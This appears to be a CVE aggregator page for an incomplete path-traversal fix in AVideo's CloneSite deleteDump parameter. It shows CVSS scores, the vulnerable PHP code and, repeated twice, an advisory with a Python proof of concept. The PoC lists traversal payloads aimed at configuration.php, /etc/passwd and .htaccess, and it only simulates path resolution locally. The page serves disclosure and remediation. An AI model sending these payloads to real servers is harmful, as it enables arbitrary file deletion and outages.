CVE-2026-41058
AVideo has an incomplete fix for CVE-2026-33293 (Path Traversal) in AVideo
WWBN AVideo is an open source video platform. In versions 29.0 and below, the incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter. Commit 3c729717c26f160014a5c86b0b6accdbd613e7b2 contains an updated fix.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
AVideo has an incomplete fix for CVE-2026-33293 (Path Traversal) in AVideo
WWBN AVideo is an open source video platform. In versions 29.0 and below, the incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter. Commit 3c729717c26f160014a5c86b0b6accdbd613e7b2 contains an updated fix.
- Record
CVE-2026-41058- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-24535
8.1
WWBN AVideo is an open source video platform. In versions 29.0 and below, the incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter. Commit 3c729717c26f160014a5c86b0b6accdbd613e7b2 contains an updated fix.
- Record
EUVD-2026-24535- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5879-4fmr-xwf2
6.9
WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal
Summary
The incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter.
Affected Package
- Ecosystem: Other
- Package: AVideo
- Affected versions: < commit 941decd6d19e
- Patched versions: >= commit 941decd6d19e
Details
At line 44-48 of cloneServer.json.php (pre-fix):
if (!empty($_GET['deleteDump'])) {
$resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
$resp->msg = "Delete Dump {$_GET['deleteDump']}";
die(json_encode($resp));
}
No basename(), no realpath() check, no path traversal filtering. $_GET['deleteDump'] is concatenated directly with $clonesDir.
The vulnerable code has zero protection against path traversal:
- No
basename()to strip directory components - No
realpath()to validate the final path - No check that resolved path is within
$clonesDir - No
../sanitization - Additionally,
exec()calls withmysqldumppass credentials on the command line
PoC
"""
CVE-2026-33293 - AVideo CloneSite Path Traversal
"""
import sys
import os
VULN_SRC = os.path.join(os.path.dirname(__file__), "src", "cloneServer.json.php")
def verify_source_file():
if not os.path.isfile(VULN_SRC):
print("ERROR: Source not found at %s" % VULN_SRC)
sys.exit(1)
with open(VULN_SRC, "r") as f:
src = f.read()
if "unlink(" not in src or "deleteDump" not in src:
print("ERROR: Expected patterns not found")
sys.exit(1)
return src
def vulnerable_delete_path(clones_dir, delete_dump):
return clones_dir + delete_dump
def test_path_traversal():
clones_dir = "/var/www/html/AVideo/videos/clones/"
payloads = [
("../../configuration.php", "Delete site configuration"),
("../../../etc/passwd", "Delete system file"),
("../../.htaccess", "Delete .htaccess"),
]
print("Testing path traversal via deleteDump parameter:")
print("Base clones_dir: %s" % clones_dir)
print()
all_traversal = True
for payload, desc in payloads:
resolved = vulnerable_delete_path(clones_dir, payload)
real_resolved = os.path.normpath(resolved)
escaped = not real_resolved.startswith(os.path.normpath(clones_dir))
if escaped:
print("[+] TRAVERSAL: %s" % desc)
print(" Payload: deleteDump=%s" % payload)
print(" unlink() target: %s" % resolved)
print(" Normalized: %s" % real_resolved)
else:
all_traversal = False
return all_traversal
def main():
print("=" * 70)
print("CVE-2026-33293: AVideo CloneSite Path Traversal PoC")
print("=" * 70)
print()
src = verify_source_file()
print("[+] Source file verified: %s" % VULN_SRC)
for line in src.split('\n'):
if 'unlink(' in line and 'deleteDump' in line:
print("[+] Vulnerable line: %s" % line.strip())
break
print()
if test_path_traversal():
print("\nVULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("\nVULNERABILITY NOT CONFIRMED")
sys.exit(1)
if __name__ == "__main__":
main()
python3 poc.py
Steps to reproduce:
git clone https://github.com/WWBN/AVideo /tmp/AVideo_testcd /tmp/AVideo_test && git checkout 941decd6d19e2e694acb75e86317d10fbb560284~1python3 poc.py
Expected output:
VULNERABILITY CONFIRMED
The deleteDump parameter passes unsanitized path traversal sequences (../../) directly to unlink(), enabling arbitrary file deletion.
Impact
An attacker can delete arbitrary files on the server. Deleting configuration.php takes the site offline. Deleting .htaccess exposes protected directories. Deleting system files can affect other services.
Suggested Remediation
Use basename($_GET['deleteDump']) to strip directory components. Validate…
- Record
GHSA-5879-4fmr-xwf2- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.1
WWBN AVideo is an open source video platform. In versions 29.0 and below, the incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter. Commit 3c729717c26f160014a5c86b0b6accdbd613e7b2 contains an updated fix.
- Record
CVE-2026-41058- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.1
AVideo has an incomplete fix for CVE-2026-33293 (Path Traversal) in AVideo
WWBN AVideo is an open source video platform. In versions 29.0 and below, the incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter. Commit 3c729717c26f160014a5c86b0b6accdbd613e7b2 contains an updated fix.
- Record
CVE-2026-41058- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-11
OSVGHSA-5879-4fmr-xwf2
6.9
WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal
Summary
The incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter.
Affected Package
- Ecosystem: Other
- Package: AVideo
- Affected versions: < commit 941decd6d19e
- Patched versions: >= commit 941decd6d19e
Details
At line 44-48 of cloneServer.json.php (pre-fix):
if (!empty($_GET['deleteDump'])) {
$resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
$resp->msg = "Delete Dump {$_GET['deleteDump']}";
die(json_encode($resp));
}
No basename(), no realpath() check, no path traversal filtering. $_GET['deleteDump'] is concatenated directly with $clonesDir.
The vulnerable code has zero protection against path traversal:
- No
basename()to strip directory components - No
realpath()to validate the final path - No check that resolved path is within
$clonesDir - No
../sanitization - Additionally,
exec()calls withmysqldumppass credentials on the command line
PoC
"""
CVE-2026-33293 - AVideo CloneSite Path Traversal
"""
import sys
import os
VULN_SRC = os.path.join(os.path.dirname(__file__), "src", "cloneServer.json.php")
def verify_source_file():
if not os.path.isfile(VULN_SRC):
print("ERROR: Source not found at %s" % VULN_SRC)
sys.exit(1)
with open(VULN_SRC, "r") as f:
src = f.read()
if "unlink(" not in src or "deleteDump" not in src:
print("ERROR: Expected patterns not found")
sys.exit(1)
return src
def vulnerable_delete_path(clones_dir, delete_dump):
return clones_dir + delete_dump
def test_path_traversal():
clones_dir = "/var/www/html/AVideo/videos/clones/"
payloads = [
("../../configuration.php", "Delete site configuration"),
("../../../etc/passwd", "Delete system file"),
("../../.htaccess", "Delete .htaccess"),
]
print("Testing path traversal via deleteDump parameter:")
print("Base clones_dir: %s" % clones_dir)
print()
all_traversal = True
for payload, desc in payloads:
resolved = vulnerable_delete_path(clones_dir, payload)
real_resolved = os.path.normpath(resolved)
escaped = not real_resolved.startswith(os.path.normpath(clones_dir))
if escaped:
print("[+] TRAVERSAL: %s" % desc)
print(" Payload: deleteDump=%s" % payload)
print(" unlink() target: %s" % resolved)
print(" Normalized: %s" % real_resolved)
else:
all_traversal = False
return all_traversal
def main():
print("=" * 70)
print("CVE-2026-33293: AVideo CloneSite Path Traversal PoC")
print("=" * 70)
print()
src = verify_source_file()
print("[+] Source file verified: %s" % VULN_SRC)
for line in src.split('\n'):
if 'unlink(' in line and 'deleteDump' in line:
print("[+] Vulnerable line: %s" % line.strip())
break
print()
if test_path_traversal():
print("\nVULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("\nVULNERABILITY NOT CONFIRMED")
sys.exit(1)
if __name__ == "__main__":
main()
python3 poc.py
Steps to reproduce:
git clone https://github.com/WWBN/AVideo /tmp/AVideo_testcd /tmp/AVideo_test && git checkout 941decd6d19e2e694acb75e86317d10fbb560284~1python3 poc.py
Expected output:
VULNERABILITY CONFIRMED
The deleteDump parameter passes unsanitized path traversal sequences (../../) directly to unlink(), enabling arbitrary file deletion.
Impact
An attacker can delete arbitrary files on the server. Deleting configuration.php takes the site offline. Deleting .htaccess exposes protected directories. Deleting system files can affect other services.
Suggested Remediation
Use basename($_GET['deleteDump']) to strip directory components. Validate…
- Record
GHSA-5879-4fmr-xwf2- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 29.0 | None known |
wwbn/avideoPackagist |
through 29.0, plus listed versions 10.410.81111.111.1.1 Show 12 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.026.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-41058 is a high vulnerability (CVSS 8.1) in Wwbn Avideo, published April 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.47%, the 40th percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-5879-4fmr-xwf2
github.com/WWBN/AVideo/security/advisories/GHSA-xmjm-86qv-g226
github.com/WWBN/AVideo/commit/3c729717c26f160014a5c86b0b6accdbd613e7b2
github.com/WWBN/AVideo/commit/941decd6d19e2e694acb75e86317d10fbb560284
nvd.nist.gov/vuln/detail/CVE-2026-33293
nvd.nist.gov/vuln/detail/CVE-2026-41058
github.com/advisories/GHSA-5879-4fmr-xwf2
github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41058.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.